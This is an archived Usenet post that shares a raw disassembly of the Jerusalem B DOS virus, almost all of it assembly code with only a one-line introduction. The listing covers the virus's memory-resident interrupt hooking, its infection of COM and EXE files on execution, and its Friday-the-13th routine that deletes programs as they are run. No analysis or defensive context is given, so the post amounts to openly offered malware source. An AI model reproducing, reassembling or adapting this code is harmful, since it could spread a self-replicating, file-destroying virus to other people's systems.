Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

<none>

1,283 views
Skip to first unread message

John Zaicev

unread,
May 12, 2012, 6:45:42 AM5/12/12
to
[√] Привет _All_ !

This is the Jerusalem B Virus.
"JV.MOC" PAGE 0001

0000:0000 E99200 JMP X0095
0000:0003 7355 JAE X005A
0000:0005 4D DEC BP
0000:0006 7344 JAE X004C
0000:0008 6F73 JG X007D
0000:000A 0001 ADD [BX+DI],AL
0000:000C BD1700 MOV BP,0017H
0000:000F 0000 ADD [BX+SI],AL
0000:0011 06 PUSH ES
0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
0000:0016 F016 LOCK PUSH SS
0000:0018 17 POP SS
0000:0019 7702 JA X001D
0000:001B BF053D MOV DI,03D05H
0000:001E 0CFB OR AL,0FBH
0000:0020 7D00 JGE X0022
0000:0022 0000 X0022: ADD [BX+SI],AL
0000:0024 0000 ADD [BX+SI],AL
0000:0026 0000 ADD [BX+SI],AL
0000:0028 0000 ADD [BX+SI],AL
0000:002A 0000 ADD [BX+SI],AL
0000:002C 0000 ADD [BX+SI],AL
0000:002E E8062A CALL X2A37
0000:0031 B10D MOV CL,0DH
0000:0033 800000 ADD BYTE PTR [BX+SI],00H
0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
0000:003A 0D5C00 OR AX,005CH
0000:003D B10D MOV CL,0DH
0000:003F 6C00 JL X0041
0000:0041 B10D X0041: MOV CL,0DH
0000:0043 0004 ADD [SI],AL
0000:0045 5F POP DI
0000:0046 0F POP CS
0000:0047 B400 MOV AH,00H
0000:0049 C1 RET ; INTRASEGMENT
0000:004A 0D00F0 X004A: OR AX,0F000H
0000:004D 06 PUSH ES
0000:004E 004D5A ADD [DI+05AH],CL
0000:0051 2000 AND [BX+SI],AL
0000:0053 1000 ADC [BX+SI],AL
0000:0055 1900 SBB [BX+SI],AX
0000:0057 0800 OR [BX+SI],AL
0000:0059 7500 JNZ X005B
0000:005B 7500 X005B: JNZ X005D
0000:005D 6901 X005D: JNS X0060
0000:005F 1007 ADC [BX],AL
0000:0061 8419 TEST BL,[BX+DI]
0000:0063 C500 LDS AX,[BX+SI]
0000:0065 6901 JNS X0068
0000:0067 1C00 SBB AL,00H
0000:0069 0000 ADD [BX+SI],AL
0000:006B 4C X006B: DEC SP
0000:006C B000 MOV AL,00H
0000:006E CD21 INT 021H
0000:0070 050020 ADD AX,02000H
0000:0073 0037 ADD [BX],DH

"JV.MOC" PAGE 0002

0000:0075 121C ADC BL,[SI]
0000:0077 0100 ADD [BX+SI],AX
0000:0079 0210 ADD DL,[BX+SI]
0000:007B 0010 ADD [BX+SI],DL
0000:007D 17 X007D: POP SS
0000:007E 0000 ADD [BX+SI],AL
0000:0080 53 PUSH BX
0000:0081 61E8 JNO X006B
0000:0083 38434F CMP [BP+DI+04FH],AL
0000:0086 4D DEC BP
0000:0087 4D DEC BP
0000:0088 41 INC CX
0000:0089 4E DEC SI
0000:008A 44 INC SP
0000:008B 2E43 INC BX
0000:008D 4F DEC DI
0000:008E 4D DEC BP
0000:008F 0100 ADD [BX+SI],AX
0000:0091 0000 ADD [BX+SI],AL
0000:0093 0000 ADD [BX+SI],AL
0000:0095 FC X0095: CLD
0000:0096 B4E0 MOV AH,0E0H
0000:0098 CD21 INT 021H
0000:009A 80FCE0 CMP AH,0E0H
0000:009D 7316 JAE X00B5
0000:009F 80FC03 CMP AH,03H
0000:00A2 7211 JB X00B5
0000:00A4 B4DD MOV AH,0DDH
0000:00A6 BF0001 MOV DI,0100H
0000:00A9 BE1007 MOV SI,0710H
0000:00AC 03F7 ADD SI,DI
0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
0000:00B3 CD21 INT 021H
0000:00B5 8CC8 X00B5: MOV AX,CS
0000:00B7 051000 ADD AX,0010H
0000:00BA 8ED0 MOV SS,AX
0000:00BC BC0007 MOV SP,0700H
0000:00BF 50 PUSH AX
0000:00C0 B8C500 MOV AX,00C5H
0000:00C3 50 PUSH AX
0000:00C4 CB RET ; INTERSEGMENT
0000:00C5 FC X00C5: CLD
0000:00C6 06 PUSH ES
0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
0000:00DB 8CC0 MOV AX,ES
0000:00DD 051000 ADD AX,0010H
0000:00E0 2E01064900 ADD CS:[Y0049H],AX
0000:00E5 2E01064500 ADD CS:[Y0045H],AX
0000:00EA B4E0 MOV AH,0E0H
0000:00EC CD21 INT 021H
0000:00EE 80FCE0 CMP AH,0E0H
0000:00F1 7313 JAE X0106
0000:00F3 80FC03 CMP AH,03H

"JV.MOC" PAGE 0003

0000:00F6 07 POP ES
0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
0000:0101 2EFF2E4700 JMP CS:[Y0047H]
0000:0106 33C0 X0106: XOR AX,AX
0000:0108 8EC0 MOV ES,AX
0000:010A 26A1FC03 MOV AX,ES:Y03FCH
0000:010E 2EA34B00 MOV CS:Y004BH,AX
0000:0112 26A0FE03 MOV AL,ES:Y03FEH
0000:0116 2EA24D00 MOV CS:Y004DH,AL
0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
0000:0127 58 POP AX
0000:0128 051000 ADD AX,0010H
0000:012B 8EC0 MOV ES,AX
0000:012D 0E PUSH CS
0000:012E 1F POP DS
0000:012F B91007 MOV CX,0710H
0000:0132 D1E9 SHR CX,1
0000:0134 33F6 XOR SI,SI
0000:0136 8BFE MOV DI,SI
0000:0138 06 PUSH ES
0000:0139 B84201 MOV AX,0142H
0000:013C 50 PUSH AX
0000:013D EAFC030000 JMP X0000_03FC
0000:0142 8CC8 MOV AX,CS
0000:0144 8ED0 MOV SS,AX
0000:0146 BC0007 MOV SP,0700H
0000:0149 33C0 XOR AX,AX
0000:014B 8ED8 MOV DS,AX
0000:014D 2EA14B00 MOV AX,CS:Y004BH
0000:0151 A3FC03 MOV Y03FCH,AX
0000:0154 2EA04D00 MOV AL,CS:Y004DH
0000:0158 A2FE03 MOV Y03FEH,AL
0000:015B 8BDC MOV BX,SP
0000:015D B104 MOV CL,04H
0000:015F D3EB SHR BX,CL
0000:0161 83C310 ADD BX,0010H
0000:0164 2E891E3300 MOV CS:[Y0033H],BX
0000:0169 B44A MOV AH,04AH
0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
0000:0170 CD21 INT 021H
0000:0172 B82135 MOV AX,03521H
0000:0175 CD21 INT 021H
0000:0177 2E891E1700 MOV CS:[Y0017H],BX
0000:017C 2E8C061900 MOV CS:[Y0019H],ES
0000:0181 0E PUSH CS
0000:0182 1F POP DS
0000:0183 BA5B02 MOV DX,025BH
0000:0186 B82125 MOV AX,02521H
0000:0189 CD21 INT 021H
0000:018B 8E063100 MOV ES,[Y0031H]
0000:018F 268E062C00 MOV ES,ES:[Y002CH]
0000:0194 33FF XOR DI,DI
0000:0196 B9FF7F MOV CX,07FFFH
0000:0199 32C0 XOR AL,AL

"JV.MOC" PAGE 0004

0000:019B F2AE X019B: REPNE SCASB
0000:019D 263805 CMP ES:[DI],AL
0000:01A0 E0F9 LOOPNZ X019B
0000:01A2 8BD7 MOV DX,DI
0000:01A4 83C203 ADD DX,0003H
0000:01A7 B8004B MOV AX,04B00H
0000:01AA 06 PUSH ES
0000:01AB 1F POP DS
0000:01AC 0E PUSH CS
0000:01AD 07 POP ES
0000:01AE BB3500 MOV BX,0035H
0000:01B1 1E PUSH DS
0000:01B2 06 PUSH ES
0000:01B3 50 PUSH AX
0000:01B4 53 PUSH BX
0000:01B5 51 PUSH CX
0000:01B6 52 PUSH DX
0000:01B7 B42A MOV AH,02AH
0000:01B9 CD21 INT 021H
0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
0000:01C1 81F9C307 CMP CX,07C3H
0000:01C5 7430 JZ X01F7
0000:01C7 3C05 CMP AL,05H
0000:01C9 750D JNZ X01D8
0000:01CB 80FA0D CMP DL,0DH
0000:01CE 7508 JNZ X01D8
0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
0000:01D5 EB20 JMP X01F7
0000:01D7 90 NOP
0000:01D8 B80835 X01D8: MOV AX,03508H
0000:01DB CD21 INT 021H
0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
0000:01E7 0E PUSH CS
0000:01E8 1F POP DS
0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
0000:01EF B80825 MOV AX,02508H
0000:01F2 BA1E02 MOV DX,021EH
0000:01F5 CD21 INT 021H
0000:01F7 5A X01F7: POP DX
0000:01F8 59 POP CX
0000:01F9 5B POP BX
0000:01FA 58 POP AX
0000:01FB 07 POP ES
0000:01FC 1F POP DS
0000:01FD 9C PUSHF
0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
0000:0203 1E PUSH DS
0000:0204 07 POP ES
0000:0205 B449 MOV AH,049H
0000:0207 CD21 INT 021H
0000:0209 B44D MOV AH,04DH
0000:020B CD21 INT 021H
0000:020D B431 MOV AH,031H
0000:020F BA0006 MOV DX,0600H
0000:0212 B104 MOV CL,04H

"JV.MOC" PAGE 0005

0000:0214 D3EA SHR DX,CL
0000:0216 83C210 ADD DX,0010H
0000:0219 CD21 INT 021H
0000:021B 32C0 XOR AL,AL
0000:021D CF IRET
0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
0000:0224 7517 JNZ X023D
0000:0226 50 PUSH AX
0000:0227 53 PUSH BX
0000:0228 51 PUSH CX
0000:0229 52 PUSH DX
0000:022A 55 PUSH BP
0000:022B B80206 MOV AX,0602H
0000:022E B787 MOV BH,087H
0000:0230 B90505 MOV CX,0505H
0000:0233 BA1010 MOV DX,01010H
0000:0236 CD10 INT 010H
0000:0238 5D POP BP
0000:0239 5A POP DX
0000:023A 59 POP CX
0000:023B 5B POP BX
0000:023C 58 POP AX
0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
0000:0242 7512 JNZ X0256
0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
0000:024B 50 PUSH AX
0000:024C 51 PUSH CX
0000:024D 56 PUSH SI
0000:024E B90140 MOV CX,04001H
0000:0251 F3AC REPE LODSB
0000:0253 5E POP SI
0000:0254 59 POP CX
0000:0255 58 POP AX
0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
0000:025B 9C X025B: PUSHF
0000:025C 80FCE0 CMP AH,0E0H
0000:025F 7505 JNZ X0266
0000:0261 B80003 MOV AX,0300H
0000:0264 9D POPF
0000:0265 CF IRET
0000:0266 80FCDD X0266: CMP AH,0DDH
0000:0269 7413 JZ X027E
0000:026B 80FCDE CMP AH,0DEH
0000:026E 7428 JZ X0298
0000:0270 3D004B CMP AX,04B00H
0000:0273 7503 JNZ X0278
0000:0275 E9B400 JMP X032C
0000:0278 9D X0278: POPF
0000:0279 2EFF2E1700 JMP CS:[Y0017H]
0000:027E 58 X027E: POP AX
0000:027F 58 POP AX
0000:0280 B80001 MOV AX,0100H
0000:0283 2EA30A00 MOV CS:Y000AH,AX
0000:0287 58 POP AX
0000:0288 2EA30C00 MOV CS:Y000CH,AX
0000:028C F3A4 REPE MOVSB

"JV.MOC" PAGE 0006

0000:028E 9D POPF
0000:028F 2EA10F00 MOV AX,CS:Y000FH
0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
0000:0298 83C406 X0298: ADD SP,0006H
0000:029B 9D POPF
0000:029C 8CC8 MOV AX,CS
0000:029E 8ED0 MOV SS,AX
0000:02A0 BC1007 MOV SP,0710H
0000:02A3 06 PUSH ES
0000:02A4 06 PUSH ES
0000:02A5 33FF XOR DI,DI
0000:02A7 0E PUSH CS
0000:02A8 07 POP ES
0000:02A9 B91000 MOV CX,0010H
0000:02AC 8BF3 MOV SI,BX
0000:02AE BF2100 MOV DI,0021H
0000:02B1 F3A4 REPE MOVSB
0000:02B3 8CD8 MOV AX,DS
0000:02B5 8EC0 MOV ES,AX
0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
0000:02C1 83D200 ADC DX,0000H
0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
0000:02C9 8ED8 MOV DS,AX
0000:02CB 8BF2 MOV SI,DX
0000:02CD 8BFA MOV DI,DX
0000:02CF 8CC5 MOV BP,ES
0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
0000:02D6 0BDB OR BX,BX
0000:02D8 7413 JZ X02ED
0000:02DA B90080 X02DA: MOV CX,08000H
0000:02DD F3A5 REPE MOVSW
0000:02DF 050010 ADD AX,01000H
0000:02E2 81C50010 ADD BP,01000H
0000:02E6 8ED8 MOV DS,AX
0000:02E8 8EC5 MOV ES,BP
0000:02EA 4B DEC BX
0000:02EB 75ED JNZ X02DA
0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
0000:02F2 F3A4 REPE MOVSB
0000:02F4 58 POP AX
0000:02F5 50 PUSH AX
0000:02F6 051000 ADD AX,0010H
0000:02F9 2E01062900 ADD CS:[Y0029H],AX
0000:02FE 2E01062500 ADD CS:[Y0025H],AX
0000:0303 2EA12100 MOV AX,CS:Y0021H
0000:0307 1F POP DS
0000:0308 07 POP ES
0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
0000:0313 2EFF2E2300 JMP CS:[Y0023H]
0000:0318 33C9 X0318: XOR CX,CX
0000:031A B80143 MOV AX,04301H
0000:031D CD21 INT 021H
0000:031F B441 MOV AH,041H
0000:0321 CD21 INT 021H

"JV.MOC" PAGE 0007

0000:0323 B8004B MOV AX,04B00H
0000:0326 9D POPF
0000:0327 2EFF2E1700 JMP CS:[Y0017H]
0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
0000:0332 74E4 JZ X0318
0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
0000:0342 2E89168000 MOV CS:[Y0080H],DX
0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
0000:034C 50 PUSH AX
0000:034D 53 PUSH BX
0000:034E 51 PUSH CX
0000:034F 52 PUSH DX
0000:0350 56 PUSH SI
0000:0351 57 PUSH DI
0000:0352 1E PUSH DS
0000:0353 06 PUSH ES
0000:0354 FC CLD
0000:0355 8BFA MOV DI,DX
0000:0357 32D2 XOR DL,DL
0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
0000:035D 7505 JNZ X0364
0000:035F 8A15 MOV DL,[DI]
0000:0361 80E21F AND DL,01FH
0000:0364 B436 X0364: MOV AH,036H
0000:0366 CD21 INT 021H
0000:0368 3DFFFF CMP AX,0FFFFH
0000:036B 7503 JNZ X0370
0000:036D E97702 X036D: JMP X05E7
0000:0370 F7E3 X0370: MUL BX
0000:0372 F7E1 MUL CX
0000:0374 0BD2 OR DX,DX
0000:0376 7505 JNZ X037D
0000:0378 3D1007 CMP AX,0710H
0000:037B 72F0 JB X036D
0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
0000:0382 1E PUSH DS
0000:0383 07 POP ES
0000:0384 32C0 XOR AL,AL
0000:0386 B94100 MOV CX,0041H
0000:0389 F2AE REPNE SCASB
0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
0000:0390 8A04 X0390: MOV AL,[SI]
0000:0392 0AC0 OR AL,AL
0000:0394 740E JZ X03A4
0000:0396 3C61 CMP AL,061H
0000:0398 7207 JB X03A1
0000:039A 3C7A CMP AL,07AH
0000:039C 7703 JA X03A1
0000:039E 802C20 SUB BYTE PTR [SI],020H
0000:03A1 46 X03A1: INC SI
0000:03A2 EBEC JMP X0390
0000:03A4 B90B00 X03A4: MOV CX,000BH
0000:03A7 2BF1 SUB SI,CX
0000:03A9 BF8400 MOV DI,0084H
0000:03AC 0E PUSH CS

"JV.MOC" PAGE 0008

0000:03AD 07 POP ES
0000:03AE B90B00 MOV CX,000BH
0000:03B1 F3A6 REPE CMPSB
0000:03B3 7503 JNZ X03B8
0000:03B5 E92F02 JMP X05E7
0000:03B8 B80043 X03B8: MOV AX,04300H
0000:03BB CD21 INT 021H
0000:03BD 7205 JB X03C4
0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
0000:03C4 7225 X03C4: JB X03EB
0000:03C6 32C0 XOR AL,AL
0000:03C8 2EA24E00 MOV CS:Y004EH,AL
0000:03CC 1E PUSH DS
0000:03CD 07 POP ES
0000:03CE 8BFA MOV DI,DX
0000:03D0 B94100 MOV CX,0041H
0000:03D3 F2AE REPNE SCASB
0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
0000:03D9 740B JZ X03E6
0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
0000:03DF 7405 JZ X03E6
0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
0000:03E6 B8003D X03E6: MOV AX,03D00H
0000:03E9 CD21 INT 021H
0000:03EB 725A X03EB: JB X0447
0000:03ED 2EA37000 MOV CS:Y0070H,AX
0000:03F1 8BD8 MOV BX,AX
0000:03F3 B80242 MOV AX,04202H
0000:03F6 B9FFFF MOV CX,0FFFFH
0000:03F9 BAFBFF MOV DX,0FFFBH
0000:03FC CD21 X03FC: INT 021H
0000:03FE 72EB JB X03EB
0000:0400 050500 ADD AX,0005H
0000:0403 2EA31100 MOV CS:Y0011H,AX
0000:0407 B90500 MOV CX,0005H
0000:040A BA6B00 MOV DX,006BH
0000:040D 8CC8 MOV AX,CS
0000:040F 8ED8 MOV DS,AX
0000:0411 8EC0 MOV ES,AX
0000:0413 B43F MOV AH,03FH
0000:0415 CD21 INT 021H
0000:0417 8BFA MOV DI,DX
0000:0419 BE0500 MOV SI,0005H
0000:041C F3A6 REPE CMPSB
0000:041E 7507 JNZ X0427
0000:0420 B43E MOV AH,03EH
0000:0422 CD21 INT 021H
0000:0424 E9C001 JMP X05E7
0000:0427 B82435 X0427: MOV AX,03524H
0000:042A CD21 INT 021H
0000:042C 891E1B00 MOV [Y001BH],BX
0000:0430 8C061D00 MOV [Y001DH],ES
0000:0434 BA1B02 MOV DX,021BH
0000:0437 B82425 MOV AX,02524H
0000:043A CD21 INT 021H
0000:043C C5168000 LDS DX,[Y0080H]

"JV.MOC" PAGE 0009

0000:0440 33C9 XOR CX,CX
0000:0442 B80143 MOV AX,04301H
0000:0445 CD21 INT 021H
0000:0447 723B X0447: JB X0484
0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:044E B43E MOV AH,03EH
0000:0450 CD21 INT 021H
0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:0459 B8023D MOV AX,03D02H
0000:045C CD21 INT 021H
0000:045E 7224 JB X0484
0000:0460 2EA37000 MOV CS:Y0070H,AX
0000:0464 8CC8 MOV AX,CS
0000:0466 8ED8 MOV DS,AX
0000:0468 8EC0 MOV ES,AX
0000:046A 8B1E7000 MOV BX,[Y0070H]
0000:046E B80057 MOV AX,05700H
0000:0471 CD21 INT 021H
0000:0473 89167400 MOV [Y0074H],DX
0000:0477 890E7600 MOV [Y0076H],CX
0000:047B B80042 MOV AX,04200H
0000:047E 33C9 XOR CX,CX
0000:0480 8BD1 MOV DX,CX
0000:0482 CD21 INT 021H
0000:0484 723D X0484: JB X04C3
0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
0000:048B 7403 JZ X0490
0000:048D EB57 JMP X04E6
0000:048F 90 NOP
0000:0490 BB0010 X0490: MOV BX,01000H
0000:0493 B448 MOV AH,048H
0000:0495 CD21 INT 021H
0000:0497 730B JAE X04A4
0000:0499 B43E MOV AH,03EH
0000:049B 8B1E7000 MOV BX,[Y0070H]
0000:049F CD21 INT 021H
0000:04A1 E94301 JMP X05E7
0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
0000:04A8 8EC0 MOV ES,AX
0000:04AA 33F6 XOR SI,SI
0000:04AC 8BFE MOV DI,SI
0000:04AE B91007 MOV CX,0710H
0000:04B1 F3A4 REPE MOVSB
0000:04B3 8BD7 MOV DX,DI
0000:04B5 8B0E1100 MOV CX,[Y0011H]
0000:04B9 8B1E7000 MOV BX,[Y0070H]
0000:04BD 06 PUSH ES
0000:04BE 1F POP DS
0000:04BF B43F MOV AH,03FH
0000:04C1 CD21 INT 021H
0000:04C3 721C X04C3: JB X04E1
0000:04C5 03F9 ADD DI,CX
0000:04C7 33C9 XOR CX,CX
0000:04C9 8BD1 MOV DX,CX
0000:04CB B80042 MOV AX,04200H
0000:04CE CD21 INT 021H

"JV.MOC" PAGE 0010

0000:04D0 BE0500 MOV SI,0005H
0000:04D3 B90500 MOV CX,0005H
0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
R (SI)
0000:04D9 8BCF MOV CX,DI
0000:04DB 33D2 XOR DX,DX
0000:04DD B440 MOV AH,040H
0000:04DF CD21 INT 021H
0000:04E1 720D X04E1: JB X04F0
0000:04E3 E9BC00 JMP X05A2
0000:04E6 B91C00 X04E6: MOV CX,001CH
0000:04E9 BA4F00 MOV DX,004FH
0000:04EC B43F MOV AH,03FH
0000:04EE CD21 INT 021H
0000:04F0 724A X04F0: JB X053C
0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
0000:04F8 A15D00 MOV AX,Y005DH
0000:04FB A34500 MOV Y0045H,AX
0000:04FE A15F00 MOV AX,Y005FH
0000:0501 A34300 MOV Y0043H,AX
0000:0504 A16300 MOV AX,Y0063H
0000:0507 A34700 MOV Y0047H,AX
0000:050A A16500 MOV AX,Y0065H
0000:050D A34900 MOV Y0049H,AX
0000:0510 A15300 MOV AX,Y0053H
0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
0000:0518 7401 JZ X051B
0000:051A 48 DEC AX
0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
0000:051F 03065100 ADD AX,[Y0051H]
0000:0523 83D200 ADC DX,0000H
0000:0526 050F00 ADD AX,000FH
0000:0529 83D200 ADC DX,0000H
0000:052C 25F0FF AND AX,0FFF0H
0000:052F A37C00 MOV Y007CH,AX
0000:0532 89167E00 MOV [Y007EH],DX
0000:0536 051007 ADD AX,0710H
0000:0539 83D200 ADC DX,0000H
0000:053C 723A X053C: JB X0578
0000:053E F7367800 DIV WORD PTR [Y0078H]
0000:0542 0BD2 OR DX,DX
0000:0544 7401 JZ X0547
0000:0546 40 INC AX
0000:0547 A35300 X0547: MOV Y0053H,AX
0000:054A 89165100 MOV [Y0051H],DX
0000:054E A17C00 MOV AX,Y007CH
0000:0551 8B167E00 MOV DX,[Y007EH]
0000:0555 F7367A00 DIV WORD PTR [Y007AH]
0000:0559 2B065700 SUB AX,[Y0057H]
0000:055D A36500 MOV Y0065H,AX
0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
0000:0566 A35D00 MOV Y005DH,AX
0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
0000:056F 33C9 XOR CX,CX
0000:0571 8BD1 MOV DX,CX
0000:0573 B80042 MOV AX,04200H
0000:0576 CD21 INT 021H

"JV.MOC" PAGE 0011

0000:0578 720A X0578: JB X0584
0000:057A B91C00 MOV CX,001CH
0000:057D BA4F00 MOV DX,004FH
0000:0580 B440 MOV AH,040H
0000:0582 CD21 INT 021H
0000:0584 7211 X0584: JB X0597
0000:0586 3BC1 CMP AX,CX
0000:0588 7518 JNZ X05A2
0000:058A 8B167C00 MOV DX,[Y007CH]
0000:058E 8B0E7E00 MOV CX,[Y007EH]
0000:0592 B80042 MOV AX,04200H
0000:0595 CD21 INT 021H
0000:0597 7209 X0597: JB X05A2
0000:0599 33D2 XOR DX,DX
0000:059B B91007 MOV CX,0710H
0000:059E B440 MOV AH,040H
0000:05A0 CD21 INT 021H
0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
0000:05A8 7404 JZ X05AE
0000:05AA B449 MOV AH,049H
0000:05AC CD21 INT 021H
0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
0000:05B4 7431 JZ X05E7
0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
0000:05C5 B80157 MOV AX,05701H
0000:05C8 CD21 INT 021H
0000:05CA B43E MOV AH,03EH
0000:05CC CD21 INT 021H
0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
0000:05D8 B80143 MOV AX,04301H
0000:05DB CD21 INT 021H
0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
0000:05E2 B82425 MOV AX,02524H
0000:05E5 CD21 INT 021H
0000:05E7 07 X05E7: POP ES
0000:05E8 1F POP DS
0000:05E9 5F POP DI
0000:05EA 5E POP SI
0000:05EB 5A POP DX
0000:05EC 59 POP CX
0000:05ED 5B POP BX
0000:05EE 58 POP AX
0000:05EF 9D POPF
0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
0000:05F5 0000 X05F5: ADD [BX+SI],AL
0000:05F7 0000 ADD [BX+SI],AL
0000:05F9 0000 ADD [BX+SI],AL
0000:05FB 0000 ADD [BX+SI],AL
0000:05FD 0000 ADD [BX+SI],AL
0000:05FF 004D00 ADD [DI+00H],CL
0000:0602 000F ADD [BX],CL
0000:0604 0000 ADD [BX+SI],AL
0000:0606 0000 ADD [BX+SI],AL

"JV.MOC" PAGE 0012

0000:0608 0000 ADD [BX+SI],AL
0000:060A 0000 ADD [BX+SI],AL
0000:060C 0000 ADD [BX+SI],AL
0000:060E 0000 ADD [BX+SI],AL
0000:0610 CD20 INT 020H
0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
0000:0619 F02F LOCK DAS
0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
0000:0623 048E ADD AL,08EH
0000:0625 1E PUSH DS
0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
0000:062A FFFF ??? DI
0000:062C FFFF ??? DI
0000:062E FFFF ??? DI
0000:0630 FFFF ??? DI
0000:0632 FFFF ??? DI
0000:0634 FFFF ??? DI
0000:0636 FFFF ??? DI
0000:0638 FFFF ??? DI
0000:063A FFFF ??? DI
0000:063C 7C1F JL X065D
0000:063E DE3E8D29 ESC 037H,[Y0298DH]
0000:0642 1400 ADC AL,00H
0000:0644 1800 SBB [BX+SI],AL
0000:0646 F1 DB 0F1H
0000:0647 1F POP DS
0000:0648 FFFF ??? DI
0000:064A FFFF ??? DI
0000:064C 0000 ADD [BX+SI],AL
0000:064E 0000 ADD [BX+SI],AL
0000:0650 0000 ADD [BX+SI],AL
0000:0652 0000 ADD [BX+SI],AL
0000:0654 0000 ADD [BX+SI],AL
0000:0656 0000 ADD [BX+SI],AL
0000:0658 0000 ADD [BX+SI],AL
0000:065A 0000 ADD [BX+SI],AL
0000:065C 0000 ADD [BX+SI],AL
0000:065E 0000 ADD [BX+SI],AL
0000:0660 CD21 INT 021H
0000:0662 CB RET ; INTERSEGMENT
0000:0663 0000 X0663: ADD [BX+SI],AL
0000:0665 0000 ADD [BX+SI],AL
0000:0667 0000 ADD [BX+SI],AL
0000:0669 0000 ADD [BX+SI],AL
0000:066B 0000 ADD [BX+SI],AL
0000:066D 2020 AND [BX+SI],AH
0000:066F 2020 AND [BX+SI],AH
0000:0671 2020 AND [BX+SI],AH
0000:0673 2020 AND [BX+SI],AH
0000:0675 2020 AND [BX+SI],AH
0000:0677 2000 AND [BX+SI],AL
0000:0679 0000 ADD [BX+SI],AL
0000:067B 0000 ADD [BX+SI],AL
0000:067D 2020 AND [BX+SI],AH

"JV.MOC" PAGE 0013

0000:067F 2020 AND [BX+SI],AH
0000:0681 2020 AND [BX+SI],AH
0000:0683 2020 AND [BX+SI],AH
0000:0685 2020 AND [BX+SI],AH
0000:0687 2000 AND [BX+SI],AL
0000:0689 0000 ADD [BX+SI],AL
0000:068B 0000 ADD [BX+SI],AL
0000:068D 0000 ADD [BX+SI],AL
0000:068F 0000 ADD [BX+SI],AL
0000:0691 0D6B6F OR AX,06F6BH
0000:0694 6465 JZ X06FB
0000:0696 6572 JNZ X070A
0000:0698 7A2E JPE X06C8
0000:069A 6578 JNZ X0714
0000:069C 6520 JNZ X06BE
0000:069E 613A JNO X06DA
0000:06A0 6B6F JPO X0711
0000:06A2 6465 JZ X0709
0000:06A4 6572 JNZ X0718
0000:06A6 2E6578 JNZ X0721
0000:06A9 650D JNZ X06B8
0000:06AB 0000 ADD [BX+SI],AL
0000:06AD 0000 ADD [BX+SI],AL
0000:06AF 0000 ADD [BX+SI],AL
0000:06B1 0000 ADD [BX+SI],AL
0000:06B3 0000 ADD [BX+SI],AL
0000:06B5 0000 ADD [BX+SI],AL
0000:06B7 0000 ADD [BX+SI],AL
0000:06B9 0000 ADD [BX+SI],AL
0000:06BB 0000 ADD [BX+SI],AL
0000:06BD 0000 ADD [BX+SI],AL
0000:06BF 0000 ADD [BX+SI],AL
0000:06C1 0000 ADD [BX+SI],AL
